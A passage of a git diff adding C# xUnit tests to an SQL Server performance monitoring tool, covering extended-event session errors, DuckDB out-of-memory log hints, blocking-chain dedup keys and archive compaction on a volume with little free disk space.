+        rig.Alpha.CreateFailure = SqlExceptionFactory.Create(1105, errorClass: 17, message: "The create was refused.");
+        rig.Beta.CreateFailure = SqlExceptionFactory.Create(1105, errorClass: 17, message: "The create was refused.");
+
+        var raised = await Assert.ThrowsAsync<XeSessionEnsureException>(
+            () => rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None));
+
+        Assert.Contains("The create was refused.", raised.Message, StringComparison.Ordinal);
+        Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, raised.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A pass that cannot use the shared session and has no id to name its own throws one message. A host whose id store
+    /// says why it has no id gets the cause and the retry in it, in the long-query fault's words; a host with no store gets
+    /// the plain sentence.
+    /// </summary>
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public async Task ASharedSessionThatCannotBeUsed_WithNoId_SaysWhyThereIsNone_AndThatTheNextCycleTriesAgain(AlwaysOnXeSessionKind kind)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = false;
+        database.HiddenFromCatalog.Add(shared);
+        database.HiddenFromDmv.Add(shared);
+        database.CreateFailure = new AlreadyThere();
+        const string cause = "the id file C:\\data\\install-id.json could not be read (IOException: in use)";
+
+        var withCause = await Assert.ThrowsAsync<InvalidOperationException>(
+            () => AlwaysOnXeAzureEnsure.RunAsync(database, kind, null, AlwaysOnXeChoice.Shared, CancellationToken.None, cause));
+        var plain = await Assert.ThrowsAsync<InvalidOperationException>(
+            () => AlwaysOnXeAzureEnsure.RunAsync(database, kind, null, AlwaysOnXeChoice.Shared, CancellationToken.None));
+
+        Assert.Equal(
+            $"The shared {shared} session cannot be used in this database, and this install has no id for now to name a session of its own, because {cause}. The next cycle tries again.",
+            withCause.Message);
+        Assert.Equal(
+            $"The shared {shared} session cannot be used in this database, and this install has no id to name a session of its own.",
+            plain.Message);
+        Assert.Equal(plain.Message, AlwaysOnXeAzureEnsure.NoOwnSessionMessage(kind, null));
+    }
+
+    /// <summary>
+    /// The service hands the pass its id store's reason: with the id file unreadable, the fault each database raises names
+    /// the cause and says the next cycle tries again.
+    /// </summary>
+    [Fact]
+    public async Task TheEnsureOfAnInstallWhoseIdFileCannotBeRead_RaisesAnErrorThatNamesTheCause()
+    {
+        var rig = await BuildRigAsync();
+        Directory.CreateDirectory(Path.Combine(_configDir, InstallIdStore.FileName));
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        foreach (var database in new[] { rig.Alpha, rig.Beta })
+        {
+            database.Started[shared] = true;
+            database.WrongEvent.Add(shared);
+        }
+
+        var raised = await Assert.ThrowsAsync<InvalidOperationException>(
+            () => rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None));
+
+        Assert.Null(rig.Service.GetInstallId());
+        Assert.Contains("this install has no id for now", raised.Message, StringComparison.Ordinal);
+        Assert.Contains("could not be read", raised.Message, StringComparison.Ordinal);
+        Assert.Contains("The next cycle tries again.", raised.Message, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/AnalysisDataSpanTests.cs b/Lite.Tests/AnalysisDataSpanTests.cs
index 26d781386c..035d17e3fb 100644
--- a/Lite.Tests/AnalysisDataSpanTests.cs
+++ b/Lite.Tests/AnalysisDataSpanTests.cs
@@ -65,8 +65,8 @@ public void Dispose()
     [Fact]
     public async Task DataSpan_CountsArchivedParquetHistory_AcrossAnArchiveReset()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
         {
@@ -106,8 +106,8 @@ INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name,
     [Fact]
     public async Task DataSpan_StillGatesAGenuinelyYoungInstall()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
         {
@@ -134,8 +134,8 @@ INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name,
     [Fact]
     public async Task InsufficientHistoryMessage_IsSetForANewServer()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         await SeedWaitStatsAsync(initializer, hoursOfHistory: 2);
 
         var analysis = new AnalysisService(initializer);
@@ -150,8 +150,8 @@ public async Task InsufficientHistoryMessage_IsSetForANewServer()
     [Fact]
     public async Task InsufficientHistoryMessage_IsNullOnceTheServerHasEnoughHistory()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
         await SeedWaitStatsAsync(initializer, hoursOfHistory: 30);
 
         var analysis = new AnalysisService(initializer);
@@ -163,8 +163,8 @@ public async Task InsufficientHistoryMessage_IsNullOnceTheServerHasEnoughHistory
     [Fact]
     public async Task InsufficientHistoryMessage_IsSetForAServerWithNoRows()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var analysis = new AnalysisService(initializer);
 
@@ -176,7 +176,7 @@ public async Task InsufficientHistoryMessage_IsSetForAServerWithNoRows()
     public async Task InsufficientHistoryMessage_IsNullWhenTheSpanReadFails()
     {
         /* Never initialized: v_wait_stats does not exist, so the span read throws. */
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         var analysis = new AnalysisService(initializer);
 
         Assert.Null(await analysis.TryGetTotalDataSpanHoursAsync(serverId: 1));
@@ -187,8 +187,8 @@ public async Task InsufficientHistoryMessage_IsNullWhenTheSpanReadFails()
     [Fact]
     public async Task LiteService_DefaultsToTheSharedMinimum()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         Assert.Equal(AnalysisHistoryGate.MinimumDataHours, new AnalysisService(initializer).MinimumDataHours);
     }
diff --git a/Lite.Tests/AnalysisNotificationTests.cs b/Lite.Tests/AnalysisNotificationTests.cs
index abb2f4e73c..500184dce1 100644
--- a/Lite.Tests/AnalysisNotificationTests.cs
+++ b/Lite.Tests/AnalysisNotificationTests.cs
@@ -168,6 +168,33 @@ public void BuildContext_BlockingDrillDown_EmitsContentiousObjectIncident()
         Assert.Equal(2, incident.OccurrenceCount);
     }
 
+    [Fact]
+    public void BuildContext_WithheldBlockingChain_KeysTheSameAsTheLivePath()
+    {
+        /* #4348 / #5320: a chain whose statement was withheld is keyed on the database, the visible side and the
+           lock mode. The analysis path must pass the drill-down row's lock_mode, or one chain gets two dedup
+           keys (this one, and the live alert's and get_blocking's). */
+        var marker = WithheldStatementMarker.Text;
+        var finding = MakeFinding("blfp000000000002", category: "blocking_events", rootFactKey: "BLOCKING_EVENTS",
+            drillDown: new Dictionary<string, object>
+            {
+                ["top_blocking_chains"] = new List<object>
+                {
+                    new
+                    {
+                        database = "DB", contentious_object = "", blocked_sql = marker,
+                        blocking_sql = "UPDATE dbo.t SET c = 1", wait_time_ms = 5000L, lock_mode = "X"
+                    }
+                }
+            });
+
+        var context = FindingMessageFormatter.BuildContext(finding, notifyThreshold: 1.5);
+
+        var live = Assert.Single(BlockingIncidentGrouper.Group(finding.ServerName,
+            [new BlockingIncidentGrouper.BlockedEvent("DB", "", marker, "UPDATE dbo.t SET c = 1", 5000, "X")]));
+        Assert.Equal(live.Incident.DedupKey, Assert.Single(context.Incidents!).DedupKey);
+    }
+
     [Fact]
     public void BuildContext_CpuDrillDown_EmitsDistinctQueryHashIncidents()
     {
diff --git a/Lite.Tests/AnalysisPassTokenThreadingTests.cs b/Lite.Tests/AnalysisPassTokenThreadingTests.cs
index 1fdd6adc36..41b12b3314 100644
--- a/Lite.Tests/AnalysisPassTokenThreadingTests.cs
+++ b/Lite.Tests/AnalysisPassTokenThreadingTests.cs
@@ -330,7 +330,7 @@ public void AnAbandonmentIsAFiredTokenAndACancellationShape_NeverOneWithoutTheOt
     [Fact]
     public async Task TheReadLockWaitIsAbandonableWhileAWriterHoldsIt()
     {
-        var initializer = new DuckDbInitializer(Path.Combine(Path.GetTempPath(), $"pm-lock-{Guid.NewGuid():N}.db"));
+        using var initializer = new DuckDbInitializer(Path.Combine(Path.GetTempPath(), $"pm-lock-{Guid.NewGuid():N}.db"));
 
         var writerHasIt = new ManualResetEventSlim(false);
         var releaseWriter = new ManualResetEventSlim(false);
diff --git a/Lite.Tests/AppLoggerDuckDbOutOfMemoryHintTests.cs b/Lite.Tests/AppLoggerDuckDbOutOfMemoryHintTests.cs
new file mode 100644
index 0000000000..8e4a72a803
--- /dev/null
+++ b/Lite.Tests/AppLoggerDuckDbOutOfMemoryHintTests.cs
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5457: about 85 catch blocks only log the raw exception message, and the reporter found the bug through exactly
+/// those lines ("[JobHistory] Failed to load job history: Out of Memory Error: failed to pin block ..."). So
+/// <see cref="AppLogger"/> itself appends <see cref="DuckDbMemoryLimitSetting.OutOfMemoryHint"/> once to a WARN or
+/// ERROR line that holds DuckDB's exact "Out of Memory Error:" text, and only to that.
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class AppLoggerDuckDbOutOfMemoryHintTests : IDisposable
+{
+    private const string DuckDbMessage =
+        "Out of Memory Error: failed to pin block of size 256.0 KiB (1.8 GiB/1.8 GiB used)";
+
+    private static readonly string s_hintStart = DuckDbMemoryLimitSetting.HintMarker;
+
+    public AppLoggerDuckDbOutOfMemoryHintTests()
+    {
+        AppLogger.SetMinimumLevel(LogLevel.Information);
+        AppLogger.DrainBufferedLines();
+    }
+
+    public void Dispose() => AppLogger.SetMinimumLevel(AppLogger.DefaultMinimumLevel);
+
+    private static int HintCount(string text)
+    {
+        var n = 0;
+        for (var i = text.IndexOf(s_hintStart, StringComparison.Ordinal); i >= 0;
+            i = text.IndexOf(s_hintStart, i + 1, StringComparison.Ordinal))
+        {
+            n++;
+        }
+
+        return n;
+    }
+
+    [Fact]
+    public void Error_with_a_DuckDB_out_of_memory_exception_gets_the_hint_once()
+    {
+        var ex = new InvalidOperationException("outer", new InvalidOperationException(DuckDbMessage));
+
+        AppLogger.Error("JobHistory", "Failed to load job history", ex);
+
+        var all = string.Join("\n", AppLogger.DrainBufferedLines());
+        Assert.Equal(1, HintCount(all));
+        Assert.Contains("Raise \"DuckDB memory limit\"", all);
+    }
+
+    [Fact]
+    public void Error_with_an_aggregate_holding_the_error_gets_the_hint_once()
+    {
+        var ex = new AggregateException(new InvalidOperationException("x"), new InvalidOperationException(DuckDbMessage));
+
+        AppLogger.Error("Collector", "Failed", ex);
+
+        Assert.Equal(1, HintCount(string.Join("\n", AppLogger.DrainBufferedLines())));
+    }
+
+    [Fact]
+    public void Error_without_an_exception_whose_text_carries_the_prefix_gets_the_hint()
+    {
+        AppLogger.Error("JobHistory", $"Failed to load job history: {DuckDbMessage}");
+
+        Assert.Equal(1, HintCount(string.Join("\n", AppLogger.DrainBufferedLines())));
+    }
+
+    [Fact]
+    public void Warn_whose_text_carries_the_prefix_gets_the_hint()
+    {
+        AppLogger.Warn("JobHistory", $"Failed to load job history: {DuckDbMessage}");
+
+        var lines = AppLogger.DrainBufferedLines();
+        Assert.Single(lines);
+        Assert.EndsWith("takes effect after Lite restarts.", lines[0]);
+        Assert.Equal(1, HintCount(lines[0]));
+    }
+
+    [Theory]
+    [InlineData("There is insufficient system memory in resource pool 'default' to run this query.")]
+    [InlineData("out of memory")]
+    [InlineData("Out of Memory")]
+    [InlineData("could not free up enough memory")]
+    public void SQL_Server_style_memory_messages_get_no_hint(string text)
+    {
+        AppLogger.Warn("Collector", text);
+        AppLogger.Error("Collector", text);
+        AppLogger.Error("Collector", "Failed", new InvalidOperationException(text));
+
+        Assert.Equal(0, HintCount(string.Join("\n", AppLogger.DrainBufferedLines())));
+    }
+
+    [Fact]
+    public void A_line_that_already_holds_the_hint_is_not_hinted_twice()
+    {
+        var described = DuckDbMemoryLimitSetting.Describe(new InvalidOperationException(DuckDbMessage));
+
+        AppLogger.Warn("JobHistory", $"Failed to load job history: {described}");
+        AppLogger.Error("JobHistory", $"Failed to load job history: {described}");
+        AppLogger.Error("JobHistory", "Failed", new InvalidOperationException(described));
+
+        var lines = AppLogger.DrainBufferedLines();
+        /* Describe's own Warn line carries the hint once; each of the three logged lines carries it once more. */
+        Assert.All(lines, l => Assert.True(HintCount(l) <= 1, l));
+        Assert.Equal(4, lines.Count(l => HintCount(l) == 1));
+    }
+
+    [Fact]
+    public void The_hint_line_itself_does_not_recurse()
+    {
+        AppLogger.Warn("DuckDB", DuckDbMemoryLimitSetting.OutOfMemoryHint(2));
+
+        var lines = AppLogger.DrainBufferedLines();
+        Assert.Single(lines);
+        Assert.Equal(1, HintCount(lines[0]));
+    }
+
+    [Fact]
+    public void Info_and_Debug_lines_are_left_alone()
+    {
+        AppLogger.SetMinimumLevel(LogLevel.Debug);
+        AppLogger.Info("Collector", DuckDbMessage);
+        AppLogger.Debug("Collector", DuckDbMessage);
+
+        Assert.Equal(0, HintCount(string.Join("\n", AppLogger.DrainBufferedLines())));
+    }
+}
diff --git a/Lite.Tests/ArchivableTableBareReadSweepTests.cs b/Lite.Tests/ArchivableTableBareReadSweepTests.cs
index f32be62659..865155c7b9 100644
--- a/Lite.Tests/ArchivableTableBareReadSweepTests.cs
+++ b/Lite.Tests/ArchivableTableBareReadSweepTests.cs
@@ -69,6 +69,11 @@ HasPriorCollectorSuccessAsync counts the live log first and v_collection_log whe
         [("RemoteCollectorService.QueryStoreBackfill.cs", "query_store_stats")] = 1,
         [("RemoteCollectorService.QueryStoreBackfill.cs", "database_states")] = 3,
         [("RemoteCollectorService.cs", "collection_log")] = 1,
+
+        /* #4938: the start-up read of each daily collector's last run, so a restart does not make it due again. It
+           reads the live log within the longest daily interval plus a day: a collector whose last run is older than
+           that is due anyway, and the run it makes is then a live row. */
+        [("RemoteCollectorService.RunTime.cs", "collection_log")] = 1,
     };
 
     private static readonly List<string> Tables = ArchiveService.ArchivableTables.Select(t => t.Table)
diff --git a/Lite.Tests/ArchiveCompactionLowDiskTests.cs b/Lite.Tests/ArchiveCompactionLowDiskTests.cs
new file mode 100644
index 0000000000..8ddecf723e
--- /dev/null
+++ b/Lite.Tests/ArchiveCompactionLowDiskTests.cs
@@ -0,0 +1,498 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5377. A reporter's Lite had 518 archive files, 6.92 GiB, on a volume with about 2.2 GiB free. Compaction
+/// rewrote a whole month of a wide table to fold in a few MB of new rows, needed room for all of it at once,
+/// and when the volume could not hold it the merge failed part way with an I/O error that named no numbers.
+/// These tests pin the smaller step (merge only what changes, only what fits), the one warning that names the
+/// table, the bytes it needed and the bytes free, and the warning for the data folder's volume at startup and
+/// once per archive pass. A seam on the initializer stands in for the disk's free space.
+/// </summary>
+[Collection("CollectionResetGate")]
+public sealed class ArchiveCompactionLowDiskTests : IDisposable
+{
+    private readonly string _tempDir;
+    private readonly string _archiveDir;
+    private readonly List<DuckDbInitializer> _initializers = [];
+    private readonly List<(LogLevel Level, string Message)> _log = [];
+    private readonly List<(LogLevel Level, string Message)> _initializerLog = [];
+
+    public ArchiveCompactionLowDiskTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private string P(string fileName) => Path.Combine(_archiveDir, fileName).Replace("\\", "/");
+
+    private (ArchiveService Service, DuckDbInitializer Initializer) NewService(long? freeBytes = null)
+    {
+        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"), new CapturingLogger<DuckDbInitializer>(_initializerLog));
+        initializer.AvailableFreeBytesProvider = _ => freeBytes;
+        _initializers.Add(initializer);
+        return (new ArchiveService(initializer, _archiveDir, new CapturingLogger<ArchiveService>(_log)), initializer);
+    }
+
+    private static void Exec(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        cmd.ExecuteNonQuery();
+    }
+
+    private static long Scalar(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(cmd.ExecuteScalar(), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    /* Rows [from, to) with a payload wide enough that the file sizes follow the row counts. */
+    private void MakeParquet(string fileName, long from, long to) =>
+        Exec($"COPY (SELECT i AS id, md5(i::VARCHAR) AS payload FROM range({from}, {to}) t(i)) TO '{P(fileName)}' (FORMAT PARQUET, ROW_GROUP_SIZE 10000)");
+
+    private long SizeOf(string fileName) => new FileInfo(P(fileName).Replace("/", "\\")).Length;
+
+    /* Every row visible through the archive views' two globs for table t. */
+    private (long Rows, long DistinctIds) Visible()
+    {
+        var globs = new List<string>();
+        foreach (var pattern in new[] { "*_t.parquet", "*_t_pt???.parquet" })
+        {
+            if (Directory.GetFiles(_archiveDir, pattern).Length > 0)
+                globs.Add(P(pattern));
+        }
+        var source = "[" + string.Join(", ", globs.Select(g => $"'{g}'")) + "]";
+        return (Scalar($"SELECT count(*) FROM read_parquet({source})"),
+                Scalar($"SELECT count(DISTINCT id) FROM read_parquet({source})"));
+    }
+
+    private string[] ArchiveFileNames() =>
+        Directory.GetFiles(_archiveDir).Select(Path.GetFileName).Order(StringComparer.Ordinal).ToArray()!;
+
+    private string Hash(string fileName) =>
+        Convert.ToHexString(SHA256.HashData(File.ReadAllBytes(P(fileName).Replace("/", "\\"))));
+
+    /* The archive service's warnings (a compaction that could not merge everything). */
+    private List<string> Warnings() => _log.Where(e => e.Level == LogLevel.Warning).Select(e => e.Message).ToList();
+
+    /* The initializer's warnings: the data folder's volume, at startup and once per archive pass. */
+    private List<string> VolumeWarnings() =>
+        _initializerLog.Where(e => e.Level == LogLevel.Warning && e.Message.StartsWith("Low disk space", StringComparison.Ordinal)).Select(e => e.Message).ToList();
+
+    [Fact]
+    public void AMonthFileThatIsAloneInItsBatch_IsLeftAsItIs_WhileTheNewFileMerges()
+    {
+        MakeParquet("202609_t_pt001.parquet", 0, 80_000);
+        MakeParquet("20260928_1400_t.parquet", 1_000_000, 1_000_100);
+        var untouched = Hash("202609_t_pt001.parquet");
+
+        var (service, _) = NewService();
+        /* The budget is the existing part's size: nothing fits beside it, so it is a batch of one. It used to be
+           read and written back in full on every pass. */
+        service.CompactionBatchInputBytes = SizeOf("202609_t_pt001.parquet");
+        List<string> temps = [];
+        service.OnCompactionTempsReadyForTests = t => temps = t.ToList();
+
+        service.CompactParquetFiles();
+
+        Assert.Equal([P("202609_t_pt002.parquet.tmp")], temps);
+        Assert.Equal(["202609_t_pt001.parquet", "202609_t_pt002.parquet"], ArchiveFileNames());
+        Assert.Equal(untouched, Hash("202609_t_pt001.parquet"));
+        Assert.Equal((80_100L, 80_100L), Visible());
+
+        /* The next pass folds its new file into pt002 and still leaves pt001 alone. */
+        MakeParquet("20260928_1500_t.parquet", 2_000_000, 2_000_100);
+        temps = [];
+        service.CompactParquetFiles();
+
+        Assert.Equal([P("202609_t_pt002.parquet.tmp")], temps);
+        Assert.Equal(["202609_t_pt001.parquet", "202609_t_pt002.parquet"], ArchiveFileNames());
+        Assert.Equal(untouched, Hash("202609_t_pt001.parquet"));
+        Assert.Equal((80_200L, 80_200L), Visible());
+        Assert.Equal(200, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt002.parquet")}')"));
+    }
+
+    [Fact]
+    public void WithoutEnoughFreeSpace_NothingMerges_AndOneWarningNamesTheTableTheBytesNeededAndTheBytesFree()
+    {
+        MakeParquet("20260928_1400_t.parquet", 0, 50_000);
+        MakeParquet("20260928_1500_t.parquet", 50_000, 100_000);
+        var inputBytes = SizeOf("20260928_1400_t.parquet") + SizeOf("20260928_1500_t.parquet");
+        const long free = 1_000_000;
+
+        var (service, _) = NewService(freeBytes: free);
+        var tempsRan = false;
+        service.OnCompactionTempsReadyForTests = _ => tempsRan = true;
+
+        service.CompactParquetFiles();
+
+        Assert.False(tempsRan, "a merge ran although the volume could not hold its output");
+        Assert.Equal(["20260928_1400_t.parquet", "20260928_1500_t.parquet"], ArchiveFileNames());
+        Assert.Equal((100_000L, 100_000L), Visible());
+
+        var warning = Assert.Single(Warnings());
+        Assert.Contains("t (202609)", warning, StringComparison.Ordinal);
+        Assert.Contains((inputBytes + DataVolumeSpace.CompactionHeadroomBytes).ToString("N0", System.Globalization.CultureInfo.InvariantCulture) + " bytes", warning, StringComparison.Ordinal);
+        Assert.Contains(free.ToString("N0", System.Globalization.CultureInfo.InvariantCulture) + " are free", warning, StringComparison.Ordinal);
+        Assert.Contains("nothing merged", warning, StringComparison.Ordinal);
+        Assert.Contains(_archiveDir, warning, StringComparison.Ordinal);
+        Assert.Equal(inputBytes, service.LastCompactionLargestNeedBytes);
+
+        /* One warning per pass: the next pass says it again, once. */
+        service.CompactParquetFiles();
+        Assert.Equal(2, Warnings().Count);
+    }
+
+    [Fact]
+    public void WhenOnlyOneBatchFits_ItMerges_TheRestStaysForALaterPass_AndTheWarningSaysSo()
+    {
+        MakeParquet("20260928_1400_t.parquet", 0, 50_000);
+        MakeParquet("20260928_1500_t.parquet", 50_000, 100_000);
+
+        var (service, initializer) = NewService();
+        /* A budget of one file: each per-cycle file is a batch of its own, two merge batches. The free space fits
+           the first with the headroom and not the second. */
+        service.CompactionBatchInputBytes = 1;
+        var fitsOne = Math.Max(SizeOf("20260928_1400_t.parquet"), SizeOf("20260928_1500_t.parquet")) + DataVolumeSpace.CompactionHeadroomBytes + 1;
+        initializer.AvailableFreeBytesProvider = _ => fitsOne;
+        List<string> temps = [];
+        service.OnCompactionTempsReadyForTests = t => temps = t.ToList();
+
+        service.CompactParquetFiles();
+
+        Assert.Single(temps);
+        Assert.Equal((100_000L, 100_000L), Visible());
+        var left = ArchiveFileNames();
+        Assert.Equal(2, left.Length);
+        Assert.Contains("202609_t_pt001.parquet", left);
+        Assert.Single(left, f => f.StartsWith("20260928_", StringComparison.Ordinal));
+        var warning = Assert.Single(Warnings());
+        Assert.Contains("merged anyway", warning, StringComparison.Ordinal);
+
+        /* With room again the rest merges, and nothing warns. */
+        _log.Clear();
+        initializer.AvailableFreeBytesProvider = _ => long.MaxValue;
+        service.CompactionBatchInputBytes = ParquetCompaction.DefaultBatchInputBytes;
+        service.CompactParquetFiles();
+
+        Assert.Equal(["202609_t.parquet"], ArchiveFileNames());
+        Assert.Equal((100_000L, 100_000L), Visible());
+        Assert.Empty(Warnings());
+    }
+
+    [Fact]
+    public void TheDatabasesOwnSize_IsKeptFree_NotJustTheFlatHeadroom()
+    {
+        MakeParquet("20260928_1400_t.parquet", 0, 40_000);
+        MakeParquet("20260928_1500_t.parquet", 40_000, 80_000);
+        MakeParquet("20260928_1600_t.parquet", 80_000, 120_000);
+
+        /* The database file is bigger than the flat headroom: the merges' output may not take the volume down to
+           64 MiB while the database still writes its WAL and a CHECKPOINT grows the file (review of #5394). */
+        var databaseBytes = 200L * 1024 * 1024;
+        using (var db = new FileStream(Path.Combine(_tempDir, "test.duckdb"), FileMode.Create))
+        {
+            db.SetLength(databaseBytes);
+        }
+
+        var (service, initializer) = NewService();
+        service.CompactionBatchInputBytes = 1;
+        var batch = new[] { "20260928_1400_t.parquet", "20260928_1500_t.parquet", "20260928_1600_t.parquet" }.Max(SizeOf);
+        /* Room for the database's size and one batch: the old test of "kept + batch + 64 MiB" let all three
+           through (the batches are far smaller than 64 MiB), the reserve lets exactly one. */
+        initializer.AvailableFreeBytesProvider = _ => databaseBytes + batch;
+        List<string> temps = [];
+        service.OnCompactionTempsReadyForTests = t => temps = t.ToList();
+
+        service.CompactParquetFiles();
+
+        Assert.Single(temps);
+        Assert.Equal(2, ArchiveFileNames().Count(f => f.StartsWith("20260928_", StringComparison.Ordinal)));
+        var warning = Assert.Single(Warnings());
+        Assert.Contains("holds back 2 of its batches", warning, StringComparison.Ordinal);
+        Assert.Contains("keeps " + databaseBytes.ToString("N0", System.Globalization.CultureInfo.InvariantCulture) + " bytes", warning, StringComparison.Ordinal);
+        Assert.Contains("200.0 MiB) free for the database", warning, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WithoutALargeDatabaseFile_TheReserveIsTheFlatHeadroom()
+    {
+        Assert.Equal(DataVolumeSpace.CompactionHeadroomBytes, DataVolumeSpace.CompactionReserveBytes(Path.Combine(_tempDir, "missing.duckdb")));
+
+        var small = Path.Combine(_tempDir, "small.duckdb");
+        File.WriteAllBytes(small, new byte[1024]);
+        Assert.Equal(DataVolumeSpace.CompactionHeadroomBytes, DataVolumeSpace.CompactionReserveBytes(small));
+    }
+
+    [Fact]
+    public void GetAvailableFreeBytes_AsksTheFolderFirst_FallsBackToTheDriveRoot_AndIsNullWhenBothFail()
+    {
+        var asked = new List<string>();
+        var folder = Path.GetFullPath(_tempDir);
+
+        Assert.Equal(111L, DataVolumeSpace.GetAvailableFreeBytes(_tempDir,
+            p => { asked.Add("folder:" + p); return 111L; },
+            p => { asked.Add("root:" + p); return 222L; }));
+        Assert.Equal(["folder:" + folder], asked);
+
+        asked.Clear();
+        Assert.Equal(222L, DataVolumeSpace.GetAvailableFreeBytes(_tempDir,
+            p => { asked.Add("folder"); return null; },
+            p => { asked.Add("root"); return 222L; }));
+        Assert.Equal(["folder", "root"], asked);
+
+        Assert.Null(DataVolumeSpace.GetAvailableFreeBytes(_tempDir, _ => null, _ => null));
+        Assert.Null(DataVolumeSpace.GetAvailableFreeBytes(_tempDir, _ => throw new IOException("denied"), _ => 1L));
+    }
+
+    [Fact]
+    public void TheVolumeWarning_FiresOnEntry_StaysSilentHourly_RepeatsAfter24Hours_AndLogsRecovery()
+    {
+        var now = new DateTime(2026, 10, 6, 0, 0, 0, DateTimeKind.Utc);
+        File.WriteAllBytes(Path.Combine(_tempDir, "test.duckdb"), new byte[4096]);
+        var (_, initializer) = NewService(freeBytes: 1);
+        initializer.UtcNow = () => now;
+
+        Assert.True(initializer.WarnIfDataVolumeLow(0));
+        Assert.Single(VolumeWarnings());
+
+        for (var hour = 1; hour <= 23; hour++)
+        {
+            now = now.AddHours(1);
+            Assert.False(initializer.WarnIfDataVolumeLow(0));
+        }
+
+        Assert.Single(VolumeWarnings());
+
+        now = now.AddHours(1);
+        Assert.True(initializer.WarnIfDataVolumeLow(0));
+        Assert.Equal(2, VolumeWarnings().Count);
+
+        /* A restart always speaks while the volume is low. */
+        now = now.AddMinutes(5);
+        Assert.True(initializer.WarnIfDataVolumeLow(0, atStartup: true));
+        Assert.Equal(3, VolumeWarnings().Count);
+
+        /* Recovery: one information line, then silence. */
+        initializer.AvailableFreeBytesProvider = _ => long.MaxValue;
+        Assert.False(initializer.WarnIfDataVolumeLow(0));
+        Assert.Single(_initializerLog, e => e.Level == LogLevel.Information && e.Message.Contains("enough free disk space again", StringComparison.Ordinal));
+        Assert.False(initializer.WarnIfDataVolumeLow(0));
+        Assert.Single(_initializerLog, e => e.Message.Contains("enough free disk space again", StringComparison.Ordinal));
+
+        /* Low again after recovering is a new entry: it warns at once. */
+        initializer.AvailableFreeBytesProvider = _ => 1;
+        now = now.AddMinutes(1);
+        Assert.True(initializer.WarnIfDataVolumeLow(0));
+        Assert.Equal(4, VolumeWarnings().Count);
+    }
+
+    [Fact]
+    public void WhenTheFreeSpaceIsUnknown_CompactionMergesAsBefore_AndDoesNotWarn()
+    {
+        MakeParquet("20260928_1400_t.parquet", 0, 1_000);
+        MakeParquet("20260928_1500_t.parquet", 1_000, 2_000);
+
+        var (service, _) = NewService(freeBytes: null);
+        service.CompactParquetFiles();
+
+        Assert.Equal(["202609_t.parquet"], ArchiveFileNames());
